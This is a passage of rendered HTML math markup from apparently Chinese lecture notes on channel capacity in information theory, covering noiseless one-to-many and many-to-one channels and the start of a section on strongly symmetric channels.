class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="minner"><span class="mopen nulldelimiter"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">7</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 但是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，而且 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p><strong>无噪声多对一：</strong></p><p>类似于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，所以信道矩阵如下：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6em;vertical-align:-2.75em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.25em;"><span class="pstrut" style="height:8em;"></span><span style="width:0.667em;height:6.000em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="6.000em" viewBox="0 0 667 6000"><path d="M403 1759 V84 H666 V0 H319 V1759 v2400 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v2400 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.25em;"><span class="pstrut" style="height:8em;"></span><span style="width:0.667em;height:6.000em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="6.000em" viewBox="0 0 667 6000"><path d="M347 1759 V0 H0 V84 H263 V1759 v2400 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v2400 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>这样就有 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，所以</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><p><strong>强对称：</strong></p><p>对于信道 ${ X,, P\left( Y|X \right) ,,Y } $ ，输入和输出的符号种类数量相同，而且每个符号传递对应传递的概率为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>，其他传递错误的可能性平分。每一行和每一列都是 1。也就是如下</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:5.638em;vertical-align:-2.569em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.069em;"><span style="top:-6.344em;"><span class="pstrut" style="height:4.115em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">.......</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">......</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span><span style="top:-3.569em;"><span class="pstrut" style="height:4.115em;"></span><span class="mord"><span class="minner"><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 